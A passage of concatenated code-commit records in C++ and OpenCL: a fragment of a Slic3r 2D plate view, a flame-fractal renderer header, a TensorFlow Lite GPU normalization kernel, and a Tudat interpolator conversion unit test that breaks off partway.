this->nudge(MoveDirection::Up);\n default:\n break; \/\/ do nothing\n }\n\n}\n\nvoid Plate2D::nudge(MoveDirection dir) {\n if (this->selected_instance < this->objects.size()) {\n auto i = 0U;\n for (auto& obj : this->objects) {\n if (obj.selected()) {\n if (obj.selected_instance != -1) {\n }\n }\n i++;\n }\n }\n if (selected_instance >= this->objects.size()) { \n Slic3r::Log::warn(LogChannel, L\"Nudge failed because there is no selected instance.\");\n return; \/\/ Abort\n }\n}\n\nvoid Plate2D::update_bed_size() {\n const auto& canvas_size {this->GetSize()};\n const auto& canvas_w {canvas_size.GetWidth()};\n const auto& canvas_h {canvas_size.GetHeight()};\n if (canvas_w == 0) return; \/\/ Abort early if we haven't drawn canvas yet.\n\n this->bed_polygon = Slic3r::Polygon();\n const auto& polygon = bed_polygon;\n\n const auto& bb = bed_polygon.bounding_box();\n const auto& size = bb.size();\n\n this->scaling_factor = std::min(static_cast<double>(canvas_w) \/ unscale(size.x), \n static_cast<double>(canvas_h) \/ unscale(size.y));\n\n assert(this->scaling_factor != 0);\n\n\nstd::vector<wxPoint> Plate2D::scaled_points_to_pixel(const Slic3r::Polygon& poly, bool unscale) {\n return this->scaled_points_to_pixel(Polyline(poly), unscale);\n}\n\nstd::vector<wxPoint> Plate2D::scaled_points_to_pixel(const Slic3r::Polyline& poly, bool unscale) {\n std::vector<wxPoint> result;\n for (const auto& pt : poly.points) {\n const auto tmp {wxPoint(pt.x, pt.y)};\n result.push_back( (unscale ? unscaled_point_to_pixel(tmp) : tmp) );\n }\n return result;\n}\n} } \/\/ Namespace Slic3r::GUI\n<|endoftext|>"} {"text":"<commit_before>#ifndef INC_MUSPELHEIM_HPP\n#define INC_MUSPELHEIM_HPP\n\n#include <iostream>\n\n#include <functional>\n#include <random>\n#include <vector>\n\n#include <boost\/gil\/extension\/io\/png_dynamic_io.hpp>\n#include <boost\/gil\/image.hpp>\n#include <boost\/gil\/typedefs.hpp>\n\n\/\/ Make sure that multiplying points by floating-point values works correctly.\nnamespace boost { namespace gil {\n\n template <typename T, typename U>\n point2<T> operator *(const point2<T> &p, U t) {\n return point2<T>(p.x*t, p.y*t);\n }\n template <typename T, typename U>\n point2<U> operator *(T t, const point2<U> &p) {\n return point2<U>(t*p.x, t*p.y);\n }\n\n} }\n\nnamespace muspelheim {\n\ntemplate<typename Pixel, typename T = double>\nclass flame_function {\npublic:\n using point_type = boost::gil::point2<T>;\n using pixel_type = Pixel;\n using function_type = std::function<\n point_type(const point_type &, const affine_transform<T> &)\n >;\n using value_type = std::pair<function_type, T>;\n\n flame_function(const function_type &f,\n const affine_transform<T> &transform,\n const Pixel &color,\n const affine_transform<T> &post = {1, 0, 0, 0, 1, 0})\n : f_({{f, 1}}), transform_(transform), color_(color), post_(post) {}\n\n flame_function(const std::initializer_list<value_type> &f,\n const affine_transform<T> &transform,\n const Pixel &color,\n const affine_transform<T> &post = {1, 0, 0, 0, 1, 0})\n : f_(f), transform_(transform), color_(color), post_(post) {}\n\n inline point_type operator ()(const point_type &p) const {\n point_type value = {0, 0};\n const auto &transformed = transform_(p);\n for(const auto &i : f_)\n value += i.second * i.first(transformed, transform_);\n return post_(value);\n }\n\n inline pixel_type color() const {\n return color_;\n }\nprivate:\n std::vector<value_type> f_;\n affine_transform<T> transform_;\n Pixel color_;\n affine_transform<T> post_;\n};\n\ntemplate<typename Pixel, typename T = double>\nusing flame_function_set = std::vector<flame_function<Pixel, T>>;\n\ntemplate<typename ChannelValue, typename Layout>\nboost::gil::pixel<ChannelValue, Layout>\nblend(const boost::gil::pixel<ChannelValue, Layout> &a,\n const boost::gil::pixel<ChannelValue, Layout> &b, double ratio) {\n boost::gil::pixel<ChannelValue, Layout> p;\n constexpr size_t channels = boost::mpl::size<\n typename Layout::color_space_t\n >::value;\n\n for(int i = 0; i < channels; i++)\n p[i] = a[i] * ratio + b[i] * (1 - ratio);\n return p;\n}\n\ntemplate<typename View, typename Pixel, typename T>\nvoid chaos_game(const View &dst, const flame_function_set<Pixel, T> &funcs,\n size_t num_iterations = 10000000) {\n using namespace boost::gil;\n using biunit_pt = point2<T>;\n using image_pt = point2<ptrdiff_t>;\n using color_image_t = image<Pixel, false>;\n\n std::mt19937 engine;\n std::uniform_int_distribution<size_t> random_func(0, funcs.size() - 1);\n std::uniform_real_distribution<T> random_biunit(-1, 1);\n\n gray32_image_t alpha_img(dst.dimensions(), gray32_pixel_t(0), 0);\n gray32_image_t::view_t alpha = view(alpha_img);\n bits32 max_alpha = 0;\n\n color_image_t color_img(dst.dimensions(), Pixel(0), 0);\n typename color_image_t::view_t color = view(color_img);\n\n biunit_pt point(random_biunit(engine), random_biunit(engine));\n\n for(size_t i = 0; i < 20; i++)\n point = funcs[random_func(engine)](point);\n\n for(size_t i = 0; i < num_iterations; i++) {\n auto &f = funcs[random_func(engine)];\n point = f(point);\n if(point.x >= -1 && point.x < 1 && point.y >= -1 && point.y < 1) {\n image_pt pt(\n static_cast<ptrdiff_t>((point.x + 1) \/ 2 * alpha.width()),\n static_cast<ptrdiff_t>((point.y + 1) \/ 2 * alpha.height())\n );\n if(!alpha(pt)[0])\n color(pt) = f.color();\n else\n color(pt) = blend(color(pt), f.color(), 0.9);\n\n alpha(pt)[0]++;\n if(alpha(pt)[0] > max_alpha)\n max_alpha = alpha(pt)[0];\n }\n }\n\n auto logmax = std::log(static_cast<T>(max_alpha));\n for(size_t x = 0; x < dst.width(); x++) {\n for(size_t y = 0; y < dst.height(); y++) {\n auto a = std::log(static_cast<T>(alpha(x, y)[0])) \/ logmax;\n auto &c = color(x, y);\n dst(x, y) = typename View::value_type(c[0] * a, c[1] * a, c[2] * a);\n }\n }\n}\n\n} \/\/ namespace muspelheim\n\n#endif\n<commit_msg>Simplify flame_function's constructors<commit_after>#ifndef INC_MUSPELHEIM_HPP\n#define INC_MUSPELHEIM_HPP\n\n#include <iostream>\n\n#include <functional>\n#include <random>\n#include <vector>\n\n#include <boost\/gil\/extension\/io\/png_dynamic_io.hpp>\n#include <boost\/gil\/image.hpp>\n#include <boost\/gil\/typedefs.hpp>\n\n\/\/ Make sure that multiplying points by floating-point values works correctly.\nnamespace boost { namespace gil {\n\n template <typename T, typename U>\n point2<T> operator *(const point2<T> &p, U t) {\n return point2<T>(p.x*t, p.y*t);\n }\n template <typename T, typename U>\n point2<U> operator *(T t, const point2<U> &p) {\n return point2<U>(t*p.x, t*p.y);\n }\n\n} }\n\nnamespace muspelheim {\n\ntemplate<typename Pixel, typename T = double>\nclass flame_function {\npublic:\n using point_type = boost::gil::point2<T>;\n using pixel_type = Pixel;\n using function_type = std::function<\n point_type(const point_type &, const affine_transform<T> &)\n >;\n using value_type = std::pair<function_type, T>;\n\n flame_function(const function_type &f,\n const affine_transform<T> &transform,\n const Pixel &color,\n const affine_transform<T> &post = {1, 0, 0, 0, 1, 0})\n : flame_function({{f, 1}}, transform, color, post) {}\n\n flame_function(const std::initializer_list<value_type> &f,\n const affine_transform<T> &transform,\n const Pixel &color,\n const affine_transform<T> &post = {1, 0, 0, 0, 1, 0})\n : f_(f), transform_(transform), color_(color), post_(post) {}\n\n inline point_type operator ()(const point_type &p) const {\n point_type value = {0, 0};\n const auto &transformed = transform_(p);\n for(const auto &i : f_)\n value += i.second * i.first(transformed, transform_);\n return post_(value);\n }\n\n inline pixel_type color() const {\n return color_;\n }\nprivate:\n std::vector<value_type> f_;\n affine_transform<T> transform_;\n Pixel color_;\n affine_transform<T> post_;\n};\n\ntemplate<typename Pixel, typename T = double>\nusing flame_function_set = std::vector<flame_function<Pixel, T>>;\n\ntemplate<typename ChannelValue, typename Layout>\nboost::gil::pixel<ChannelValue, Layout>\nblend(const boost::gil::pixel<ChannelValue, Layout> &a,\n const boost::gil::pixel<ChannelValue, Layout> &b, double ratio) {\n boost::gil::pixel<ChannelValue, Layout> p;\n constexpr size_t channels = boost::mpl::size<\n typename Layout::color_space_t\n >::value;\n\n for(int i = 0; i < channels; i++)\n p[i] = a[i] * ratio + b[i] * (1 - ratio);\n return p;\n}\n\ntemplate<typename View, typename Pixel, typename T>\nvoid chaos_game(const View &dst, const flame_function_set<Pixel, T> &funcs,\n size_t num_iterations = 10000000) {\n using namespace boost::gil;\n using biunit_pt = point2<T>;\n using image_pt = point2<ptrdiff_t>;\n using color_image_t = image<Pixel, false>;\n\n std::mt19937 engine;\n std::uniform_int_distribution<size_t> random_func(0, funcs.size() - 1);\n std::uniform_real_distribution<T> random_biunit(-1, 1);\n\n gray32_image_t alpha_img(dst.dimensions(), gray32_pixel_t(0), 0);\n gray32_image_t::view_t alpha = view(alpha_img);\n bits32 max_alpha = 0;\n\n color_image_t color_img(dst.dimensions(), Pixel(0), 0);\n typename color_image_t::view_t color = view(color_img);\n\n biunit_pt point(random_biunit(engine), random_biunit(engine));\n\n for(size_t i = 0; i < 20; i++)\n point = funcs[random_func(engine)](point);\n\n for(size_t i = 0; i < num_iterations; i++) {\n auto &f = funcs[random_func(engine)];\n point = f(point);\n if(point.x >= -1 && point.x < 1 && point.y >= -1 && point.y < 1) {\n image_pt pt(\n static_cast<ptrdiff_t>((point.x + 1) \/ 2 * alpha.width()),\n static_cast<ptrdiff_t>((point.y + 1) \/ 2 * alpha.height())\n );\n if(!alpha(pt)[0])\n color(pt) = f.color();\n else\n color(pt) = blend(color(pt), f.color(), 0.9);\n\n alpha(pt)[0]++;\n if(alpha(pt)[0] > max_alpha)\n max_alpha = alpha(pt)[0];\n }\n }\n\n auto logmax = std::log(static_cast<T>(max_alpha));\n for(size_t x = 0; x < dst.width(); x++) {\n for(size_t y = 0; y < dst.height(); y++) {\n auto a = std::log(static_cast<T>(alpha(x, y)[0])) \/ logmax;\n auto &c = color(x, y);\n dst(x, y) = typename View::value_type(c[0] * a, c[1] * a, c[2] * a);\n }\n }\n}\n\n} \/\/ namespace muspelheim\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/* Copyright 2020 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#include \"tensorflow\/lite\/delegates\/gpu\/cl\/kernels\/mean_stddev_normalization.h\"\n\n#include <string>\n\n#include \"tensorflow\/lite\/delegates\/gpu\/cl\/cl_program.h\"\n#include \"tensorflow\/lite\/delegates\/gpu\/cl\/device_info.h\"\n#include \"tensorflow\/lite\/delegates\/gpu\/cl\/kernels\/util.h\"\n#include \"tensorflow\/lite\/delegates\/gpu\/cl\/kernels\/work_group_picking.h\"\n#include \"tensorflow\/lite\/delegates\/gpu\/cl\/precision.h\"\n\nnamespace tflite {\nnamespace gpu {\nnamespace cl {\nnamespace {\n\nstd::string GetVectorReduceCode() {\n return R\"(static inline float reduce_vector(float4 v) {\n return dot(v, (float4)(1.0f));\n})\";\n}\n\nstd::string GetReduceCode() {\n \/\/ If it is supported, use the built-in work_group_reduce_add function.\n \/\/ Otherwise, implement a reduction using __local memory. Note this only works\n \/\/ with power-of-two work group sizes.\n return R\"(\n#if (__OPENCL_C_VERSION__ >= 200) && (__OPENCL_C_VERSION__ < 300) && \\\n !defined(__opencl_c_work_group_collective_functions)\n #define __opencl_c_work_group_collective_functions 1\n#endif\n\n#ifdef __opencl_c_work_group_collective_functions\n#define local_reduce(input, tmp) work_group_reduce_add(input)\n#else \/\/ !defined(__opencl_c_work_group_collective_functions)\nstatic inline float local_reduce(float input, __local float* tmp) {\n const int local_id = get_local_id(0);\n tmp[local_id] = input;\n barrier(CLK_LOCAL_MEM_FENCE);\n int reduction_size = get_local_size(0) \/ 2;\n while (reduction_size > 0) {\n if (local_id < reduction_size) {\n tmp[local_id] += tmp[local_id + reduction_size];\n }\n barrier(CLK_LOCAL_MEM_FENCE);\n reduction_size \/= 2;\n }\n return tmp[0];\n}\n#endif \/\/ defined(__opencl_c_work_group_collective_functions)\n)\";\n}\n\nstd::string GetFilterCode() {\n return R\"(\nstatic inline float4 filter_outside_tensor(float4 x, int num_channels, int slice) {\n return select(x, (float4)(0.0f), slice * 4 + (int4)(0, 1, 2, 3) >= num_channels);\n}\n)\";\n}\n} \/\/ namespace\n\nMeanStdDevNormalization::MeanStdDevNormalization(const OperationDef& definition,\n const DeviceInfo& device_info)\n : GPUOperation(definition) {\n \/\/ The kernel code does not inherently need a fixed size, but in order to not\n \/\/ hardcode the __local array's size for the reductions, we would need to pass\n \/\/ that size to the kernel at runtime, and that is currently not supported.\n \/\/ For now, fix workgroup size to 128 threads.\n work_group_size_.x = 128;\n work_group_size_.y = 1; \/\/ Required\n work_group_size_.z = 1; \/\/ Required\n code_ = GetNormalizationCode();\n if (device_info.cl_version >= OpenCLVersion::CL_3_0) {\n compiler_options_.push_back(CompilerOptions::CL_3_0);\n } else if (device_info.cl_version >= OpenCLVersion::CL_2_0) {\n compiler_options_.push_back(CompilerOptions::CL_2_0);\n }\n}\n\nstd::string MeanStdDevNormalization::GetNormalizationCode() {\n AddSrcTensor(\"src_tensor\", definition_.src_tensors[0]);\n AddDstTensor(\"dst_tensor\", definition_.dst_tensors[0]);\n\n std::string c = GetCommonDefines(definition_.precision);\n c += GetVectorReduceCode();\n c += GetReduceCode();\n c += GetFilterCode();\n c += \"__attribute__((reqd_work_group_size(\" +\n std::to_string(work_group_size_.x) + \", 1, 1)))\\n\";\n c += R\"(__kernel void main_function($0) {\n#ifndef __opencl_c_work_group_collective_functions\n __local float tmp[)\" +\n std::to_string(work_group_size_.x) + R\"(];\n#endif\n const int B = get_global_id(1);\n if (get_global_id(2) > 0) { return; }\n if (B >= args.src_tensor.Batch()) { return; }\n \/\/ Calculate the total sum of the input tensor.\n \/\/ First, get a local sum of input[local_id_x + N*local_size_x] for all N.\n float4 private_sum4 = (float4)(0.0f);\n for (int S = get_local_id(0); S < args.src_tensor.Slices(); S += get_local_size(0)) {\n const float4 t = args.src_tensor.Read<float>(0, 0, S, B);\n private_sum4 += filter_outside_tensor(t, args.src_tensor.Channels(), S);\n }\n \/\/ Reduce the vector to a single float and do a workgroup reduce.\n const float private_sum = reduce_vector(private_sum4);\n const float sum = local_reduce(private_sum, tmp);\n \/\/ Calculate the mean\n const float mean = sum \/ args.src_tensor.Channels();\n \/\/ Calculate the squared sum of the difference from the mean.\n float4 private_sum_diff_sq4 = (float4)(0.0f);\n for (int S = get_local_id(0); S < args.src_tensor.Slices(); S += get_local_size(0)) {\n const float4 t = args.src_tensor.Read<float>(0, 0, S, B);\n const float4 diff = filter_outside_tensor(t - mean, args.src_tensor.Channels(), S);\n \/\/ sum_diff_sq += diff²\n private_sum_diff_sq4 = mad(diff, diff, private_sum_diff_sq4);\n }\n \/\/ Reduce\n const float private_sum_diff_sq = reduce_vector(private_sum_diff_sq4);\n const float sum_diff_sq = local_reduce(private_sum_diff_sq, tmp);\n \/\/ Calculate 1\/stddev (with the 'regulazing constant' as in tensor_utils.cc)\n const float variance = sum_diff_sq \/ args.src_tensor.Channels();\n const float stddev_inv = rsqrt(variance + 1.0e-8f);\n \/\/ Calculate (t-mean)\/stddev for each element\n for (int S = get_local_id(0); S < args.src_tensor.Slices(); S += get_local_size(0)) {\n const float4 t = args.src_tensor.Read<float>(0, 0, S, B);\n FLT4 result = TO_FLT4((t - mean) * stddev_inv);\n args.dst_tensor.Write(result, 0, 0, S, B);\n }\n})\";\n return c;\n}\n\nint3 MeanStdDevNormalization::GetGridSize() const {\n \/\/ To avoid dealing with global reductions, we restrict the grid size to the\n \/\/ work group size in the first dimension.\n const int grid_x = work_group_size_.x;\n const int grid_y = src_[0]->Batch();\n const int grid_z = 1;\n return int3(grid_x, grid_y, grid_z);\n}\n\nMeanStdDevNormalization CreateMeanStdDevNormalization(\n const OperationDef& definition, const DeviceInfo& device_info) {\n return MeanStdDevNormalization(definition, device_info);\n}\n\n} \/\/ namespace cl\n} \/\/ namespace gpu\n} \/\/ namespace tflite\n<commit_msg>Use native_rsqrt in MeanStdDevNormalization. It seems to have enough precision on tested hardware.<commit_after>\/* Copyright 2020 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#include \"tensorflow\/lite\/delegates\/gpu\/cl\/kernels\/mean_stddev_normalization.h\"\n\n#include <string>\n\n#include \"tensorflow\/lite\/delegates\/gpu\/cl\/cl_program.h\"\n#include \"tensorflow\/lite\/delegates\/gpu\/cl\/device_info.h\"\n#include \"tensorflow\/lite\/delegates\/gpu\/cl\/kernels\/util.h\"\n#include \"tensorflow\/lite\/delegates\/gpu\/cl\/kernels\/work_group_picking.h\"\n#include \"tensorflow\/lite\/delegates\/gpu\/cl\/precision.h\"\n\nnamespace tflite {\nnamespace gpu {\nnamespace cl {\nnamespace {\n\nstd::string GetVectorReduceCode() {\n return R\"(static inline float reduce_vector(float4 v) {\n return dot(v, (float4)(1.0f));\n})\";\n}\n\nstd::string GetReduceCode() {\n \/\/ If it is supported, use the built-in work_group_reduce_add function.\n \/\/ Otherwise, implement a reduction using __local memory. Note this only works\n \/\/ with power-of-two work group sizes.\n return R\"(\n#if (__OPENCL_C_VERSION__ >= 200) && (__OPENCL_C_VERSION__ < 300) && \\\n !defined(__opencl_c_work_group_collective_functions)\n #define __opencl_c_work_group_collective_functions 1\n#endif\n\n#ifdef __opencl_c_work_group_collective_functions\n#define local_reduce(input, tmp) work_group_reduce_add(input)\n#else \/\/ !defined(__opencl_c_work_group_collective_functions)\nstatic inline float local_reduce(float input, __local float* tmp) {\n const int local_id = get_local_id(0);\n tmp[local_id] = input;\n barrier(CLK_LOCAL_MEM_FENCE);\n int reduction_size = get_local_size(0) \/ 2;\n while (reduction_size > 0) {\n if (local_id < reduction_size) {\n tmp[local_id] += tmp[local_id + reduction_size];\n }\n barrier(CLK_LOCAL_MEM_FENCE);\n reduction_size \/= 2;\n }\n return tmp[0];\n}\n#endif \/\/ defined(__opencl_c_work_group_collective_functions)\n)\";\n}\n\nstd::string GetFilterCode() {\n return R\"(\nstatic inline float4 filter_outside_tensor(float4 x, int num_channels, int slice) {\n return select(x, (float4)(0.0f), slice * 4 + (int4)(0, 1, 2, 3) >= num_channels);\n}\n)\";\n}\n} \/\/ namespace\n\nMeanStdDevNormalization::MeanStdDevNormalization(const OperationDef& definition,\n const DeviceInfo& device_info)\n : GPUOperation(definition) {\n \/\/ The kernel code does not inherently need a fixed size, but in order to not\n \/\/ hardcode the __local array's size for the reductions, we would need to pass\n \/\/ that size to the kernel at runtime, and that is currently not supported.\n \/\/ For now, fix workgroup size to 128 threads.\n work_group_size_.x = 128;\n work_group_size_.y = 1; \/\/ Required\n work_group_size_.z = 1; \/\/ Required\n code_ = GetNormalizationCode();\n if (device_info.cl_version >= OpenCLVersion::CL_3_0) {\n compiler_options_.push_back(CompilerOptions::CL_3_0);\n } else if (device_info.cl_version >= OpenCLVersion::CL_2_0) {\n compiler_options_.push_back(CompilerOptions::CL_2_0);\n }\n}\n\nstd::string MeanStdDevNormalization::GetNormalizationCode() {\n AddSrcTensor(\"src_tensor\", definition_.src_tensors[0]);\n AddDstTensor(\"dst_tensor\", definition_.dst_tensors[0]);\n\n std::string c = GetCommonDefines(definition_.precision);\n c += GetVectorReduceCode();\n c += GetReduceCode();\n c += GetFilterCode();\n c += \"__attribute__((reqd_work_group_size(\" +\n std::to_string(work_group_size_.x) + \", 1, 1)))\\n\";\n c += R\"(__kernel void main_function($0) {\n#ifndef __opencl_c_work_group_collective_functions\n __local float tmp[)\" +\n std::to_string(work_group_size_.x) + R\"(];\n#endif\n const int B = get_global_id(1);\n if (get_global_id(2) > 0) { return; }\n if (B >= args.src_tensor.Batch()) { return; }\n \/\/ Calculate the total sum of the input tensor.\n \/\/ First, get a local sum of input[local_id_x + N*local_size_x] for all N.\n float4 private_sum4 = (float4)(0.0f);\n for (int S = get_local_id(0); S < args.src_tensor.Slices(); S += get_local_size(0)) {\n const float4 t = args.src_tensor.Read<float>(0, 0, S, B);\n private_sum4 += filter_outside_tensor(t, args.src_tensor.Channels(), S);\n }\n \/\/ Reduce the vector to a single float and do a workgroup reduce.\n const float private_sum = reduce_vector(private_sum4);\n const float sum = local_reduce(private_sum, tmp);\n \/\/ Calculate the mean\n const float mean = sum \/ args.src_tensor.Channels();\n \/\/ Calculate the squared sum of the difference from the mean.\n float4 private_sum_diff_sq4 = (float4)(0.0f);\n for (int S = get_local_id(0); S < args.src_tensor.Slices(); S += get_local_size(0)) {\n const float4 t = args.src_tensor.Read<float>(0, 0, S, B);\n const float4 diff = filter_outside_tensor(t - mean, args.src_tensor.Channels(), S);\n \/\/ sum_diff_sq += diff²\n private_sum_diff_sq4 = mad(diff, diff, private_sum_diff_sq4);\n }\n \/\/ Reduce\n const float private_sum_diff_sq = reduce_vector(private_sum_diff_sq4);\n const float sum_diff_sq = local_reduce(private_sum_diff_sq, tmp);\n \/\/ Calculate 1\/stddev (with the 'regulazing constant' as in tensor_utils.cc)\n const float variance = sum_diff_sq \/ args.src_tensor.Channels();\n const float stddev_inv = native_rsqrt(variance + 1.0e-8f);\n \/\/ Calculate (t-mean)\/stddev for each element\n for (int S = get_local_id(0); S < args.src_tensor.Slices(); S += get_local_size(0)) {\n const float4 t = args.src_tensor.Read<float>(0, 0, S, B);\n FLT4 result = TO_FLT4((t - mean) * stddev_inv);\n args.dst_tensor.Write(result, 0, 0, S, B);\n }\n})\";\n return c;\n}\n\nint3 MeanStdDevNormalization::GetGridSize() const {\n \/\/ To avoid dealing with global reductions, we restrict the grid size to the\n \/\/ work group size in the first dimension.\n const int grid_x = work_group_size_.x;\n const int grid_y = src_[0]->Batch();\n const int grid_z = 1;\n return int3(grid_x, grid_y, grid_z);\n}\n\nMeanStdDevNormalization CreateMeanStdDevNormalization(\n const OperationDef& definition, const DeviceInfo& device_info) {\n return MeanStdDevNormalization(definition, device_info);\n}\n\n} \/\/ namespace cl\n} \/\/ namespace gpu\n} \/\/ namespace tflite\n<|endoftext|>"} {"text":"<commit_before>\/* Copyright (c) 2010-2019, Delft University of Technology\n * All rigths reserved\n *\n * This file is part of the Tudat. Redistribution and use in source and\n * binary forms, with or without modification, are permitted exclusively\n * under the terms of the Modified BSD license. You should have received\n * a copy of the license with this file. If not, please or visit:\n * http:\/\/tudat.tudelft.nl\/LICENSE.\n *\n *\/\n\n#define BOOST_TEST_DYN_LINK\n#define BOOST_TEST_MAIN\n\n#include <boost\/test\/unit_test.hpp>\n\n#include <Eigen\/Core>\n\n#include <vector>\n\n#include \"tudat\/basics\/testMacros.h\"\n#include \"tudat\/basics\/utilities.h\"\n#include \"tudat\/io\/matrixTextFileReader.h\"\n\n#include \"tudat\/math\/interpolators\/createInterpolator.h\"\n#include \"tudat\/io\/basicInputOutput.h\"\n\n#include \"tudat\/interface\/spice\/spiceInterface.h\"\n\nnamespace tudat\n{\nnamespace unit_tests\n{\n\nusing namespace interpolators;\n\nBOOST_AUTO_TEST_SUITE( test_interpolator_vector_conversion )\n\nBOOST_AUTO_TEST_CASE( testInterpolatorVectorConversion )\n{\n spice_interface::loadStandardSpiceKernels( );\n\n std::map< double, Eigen::Vector6d > vector6dInterpolatorInput;\n std::map< double, Eigen::VectorXd > vectorXdInterpolatorInput;\n std::map< double, Eigen::MatrixXd > matrixXdInterpolatorInput;\n for( int i = 0; i < 30; i++ )\n {\n double time = static_cast< double >( i ) * 86400.0;\n vector6dInterpolatorInput[ time ] = spice_interface::getBodyCartesianStateAtEpoch(\n \"Moon\", \"Earth\", \"J2000\", \"None\", time );\n vectorXdInterpolatorInput[ time ] = vector6dInterpolatorInput[ time ];\n matrixXdInterpolatorInput[ time ] = vector6dInterpolatorInput[ time ];\n }\n\n std::vector< double > interpolationTimes = { 1.0, 5.0 * 86400.0, 12.43 * 86400.0 };\n\n for( int i = 0; i < 4; i++ )\n {\n std::shared_ptr< InterpolatorSettings > interpolatorSettings;\n switch( i )\n {\n case 0:\n interpolatorSettings =\n std::make_shared< InterpolatorSettings >( linear_interpolator );\n break;\n case 1:\n interpolatorSettings =\n std::make_shared< InterpolatorSettings >( cubic_spline_interpolator );\n break;\n case 2:\n interpolatorSettings =\n std::make_shared< LagrangeInterpolatorSettings >( 8 );\n break;\n\/\/ case 3:\n\/\/ interpolatorSettings =\n\/\/ std::make_shared< InterpolatorSettings >( hermite_spline_interpolator );\n\/\/ break;\n case 3:\n interpolatorSettings =\n std::make_shared< InterpolatorSettings >( piecewise_constant_interpolator );\n break;\n }\n std::shared_ptr< OneDimensionalInterpolator< double, Eigen::Vector6d > > direct6dInterpolator =\n createOneDimensionalInterpolator( vector6dInterpolatorInput, interpolatorSettings );\n std::shared_ptr< OneDimensionalInterpolator< double, Eigen::VectorXd > > directXdInterpolator =\n createOneDimensionalInterpolator( vectorXdInterpolatorInput, interpolatorSettings );\n std::shared_ptr< OneDimensionalInterpolator< double, Eigen::MatrixXd > > directXdMatrixInterpolator =\n createOneDimensionalInterpolator( matrixXdInterpolatorInput, interpolatorSettings );\n\n std::shared_ptr< OneDimensionalInterpolator< double, Eigen::Vector6d > > converted6dInterpolator =\n convertBetweenStaticDynamicEigenTypeInterpolators< double, double, -1, 1, 6, 1 >( directXdInterpolator );\n std::shared_ptr< OneDimensionalInterpolator< double, Eigen::Vector6d > > converted6dInterpolator2 =\n convertBetweenStaticDynamicEigenTypeInterpolators< double, double, -1, -1, 6, 1 >( directXdMatrixInterpolator );\n\n std::shared_ptr< OneDimensionalInterpolator< double, Eigen::VectorXd > > convertedXdInterpolator =\n convertBetweenStaticDynamicEigenTypeInterpolators< double, double, 6, 1, -1, 1 >( direct6dInterpolator );\n std::shared_ptr< OneDimensionalInterpolator< double, Eigen::VectorXd > > convertedXdInterpolator2 =\n convertBetweenStaticDynamicEigenTypeInterpolators< double, double, -1, -1, -1, 1 >( directXdMatrixInterpolator );\n\n std::shared_ptr< OneDimensionalInterpolator< double, Eigen::MatrixXd > > convertedXdMatrixInterpolator =\n convertBetweenStaticDynamicEigenTypeInterpolators< double, double, 6, 1, -1, -1 >( direct6dInterpolator );\n std::shared_ptr< OneDimensionalInterpolator< double, Eigen::MatrixXd > > convertedXdMatrixInterpolator2 =\n convertBetweenStaticDynamicEigenTypeInterpolators< double, double, -1, 1, -1, -1 >( directXdInterpolator );\n\n for( unsigned int j = 0; j < interpolationTimes.size( ); j++ )\n {\n std::vector< Eigen::MatrixXd > testMatrices;\n testMatrices.push_back( direct6dInterpolator->interpolate( interpolationTimes.at( j ) ) );\n testMatrices.push_back( directXdInterpolator->interpolate( interpolationTimes.at( j ) ) );\n testMatrices.push_back( directXdMatrixInterpolator->interpolate( interpolationTimes.at( j ) ) );\n\n testMatrices.push_back( converted6dInterpolator->interpolate( interpolationTimes.at( j ) ) );\n testMatrices.push_back( converted6dInterpolator2->interpolate( interpolationTimes.at( j ) ) );\n\n testMatrices.push_back( convertedXdInterpolator->interpolate( interpolationTimes.at( j ) ) );\n testMatrices.push_back( convertedXdInterpolator2->interpolate( interpolationTimes.at( j ) ) );\n\n testMatrices.push_back( convertedXdMatrixInterpolator->interpolate( interpolationTimes.at( j ) ) );\n testMatrices.push_back( convertedXdMatrixInterpolator2->interpolate( interpolationTimes.at( j ) ) );\n\n for( unsigned int k = 1; k < testMatrices.size( ); k++ )\n {\n TUDAT_CHECK_MATRIX_CLOSE_FRACTION(\n ( testMatrices.at( 0 ) ), ( testMatrices.at( k ) ), std::numeric_limits< double >::epsilon( ) );\n }\n\n }\n }\n}\n\nBOOST_AUTO_TEST_SUITE_END( )\n\n} \/\/ namespace unit_tests\n} \/\/ namespace tudat\n<commit_msg>Finalized tests of interpolator eigen type conversion<commit_after>\/* Copyright (c) 2010-2019, Delft University of Technology\n * All rigths reserved\n *\n * This file is part of the Tudat. Redistribution and use in source and\n * binary forms, with or without modification, are permitted exclusively\n * under the terms of the Modified BSD license. You should have received\n * a copy of the license with this file. If not, please or visit:\n * http:\/\/tudat.tudelft.nl\/LICENSE.\n *\n *\/\n\n#define BOOST_TEST_DYN_LINK\n#define BOOST_TEST_MAIN\n\n#include <boost\/test\/unit_test.hpp>\n\n#include <Eigen\/Core>\n\n#include <vector>\n\n#include \"tudat\/math\/basic\/numericalDerivative.h\"\n#include \"tudat\/basics\/testMacros.h\"\n#include \"tudat\/basics\/utilities.h\"\n#include \"tudat\/io\/matrixTextFileReader.h\"\n\n#include \"tudat\/math\/interpolators\/createInterpolator.h\"\n#include \"tudat\/io\/basicInputOutput.h\"\n\n#include \"tudat\/interface\/spice\/spiceInterface.h\"\n\nnamespace tudat\n{\nnamespace unit_tests\n{\n\n\ntemplate< typename TimeType, typename StateScalarType >\nstd::vector< Eigen::Matrix< StateScalarType, 6, 1 > > computeSecondOrderCentralDifferenceCartesianStateDerivative(\n const std::map< TimeType, Eigen::Matrix< StateScalarType, 6, 1 > >& cartesianStateMap )\n{\n std::vector< Eigen::Matrix< StateScalarType, 6, 1 > > cartesianStateDerivativeMap;\n\n auto lowerIterator = cartesianStateMap.begin( );\n auto centralIterator = cartesianStateMap.begin( );\n std::advance( centralIterator, 1 );\n auto 